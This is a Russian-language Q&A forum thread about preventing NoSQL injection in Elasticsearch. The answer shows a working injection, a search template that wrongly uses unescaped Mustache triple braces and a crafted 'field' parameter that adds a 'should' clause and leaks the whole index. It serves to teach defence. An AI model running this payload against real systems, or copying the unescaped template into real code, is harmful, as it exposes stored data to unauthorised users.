Предотвращение инъекций NoSQL с Elasticsearch - PullRequest
0 голосов
/ 19 февраля 2019

Я создаю запрос Elasticsearch, используя QueryBuilders в моем бэкэнде.Кластер напрямую не подключен к Интернету, а доступен только через бэкэнд.

Я заметил, что я предоставляю несанкционированный пользовательский ввод, и он напомнил мне SQL-инъекции.Я знаю, как предотвратить SQL-инъекции, но я не уверен, что QueryBuilder ускользает от ввода?

Я обнаружил, что есть вещь, называемая «Шаблоны поиска», в которой используются усы.Может быть, они могут избежать содержимого правильно?Являются ли они «подходом» для предотвращения подобных проблем?

Я даже не уверен, что может понравиться проблематичный пользовательский ввод.При использовании QueryBuilder я не думаю, что HTTP METHOD запроса может быть изменен.

Возможно, сценарии могут быть проблемой, но их можно отключить.

ПовторноМой вопрос: являются ли инъекции кода проблемой для Elasticsearch, и если да, каковы наилучшие способы их смягчения?

Спасибо!:)

1 Ответ

0 голосов
/ 20 февраля 2019

Вы можете найти все ранее обнаруженные недостатки безопасности в ES, но внедрение NoSQL никогда не было одним из них ... пока.

Однако вы можете найти некоторыелитература , в которой говорится о том, как это сделать.Также стоит прочитать другие обсуждения и ресурсы .

В качестве быстрого примера, безусловно, можно создать атаку с использованием NoSQL-инъекции, используя шаблоны поиска, использующие язык шаблонов Mustache.Например, скажем, у нас есть два следующих документа:

PUT attack/doc/1
{
  "field1": 2,
  "field2": 1
}
PUT attack/doc/2
{
  "field1": 2,
  "field2": 2
}

И шаблонный запрос на field1, который (ошибочно) использует тройные усы:

POST _scripts/attack
{
  "script": {
    "lang": "mustache",
    "source": """
{
  "query": {
    "bool": {
      "filter": [
        {
          "term": {
            "field1": {{{field}}}
          }
        },
        {
          "range": {
            "field2": {
              "gte": 2
            }
          }
        }
      ]
    }
  }
}
    """
  }
}

Используя умно выбранныйзначение для параметра field, мы можем утечь весь индекс:

POST attack/_search/template
{
  "id": "attack",
  "params": {
    "field": "2}}],\"should\":[{\"range\":{\"field2\":{\"lte\":2}"
  }
}

Окончательный запрос будет выглядеть следующим образом, т.е. мы смогли вставить предложение must, которое в основном пропускает весь индекс:

  {
    "query" : {
      "bool" : {
        "filter" : [
          {
            "term" : {
              "field1" : 2
            }
          }
        ],
        "should" : [
          {
            "range" : {
              "field2" : {
                "lte" : 2
              }
            }
          },
          {
            "range" : {
              "field2" : {
                "gte" : 2
              }
            }
          }
        ]
      }
    }
  }
...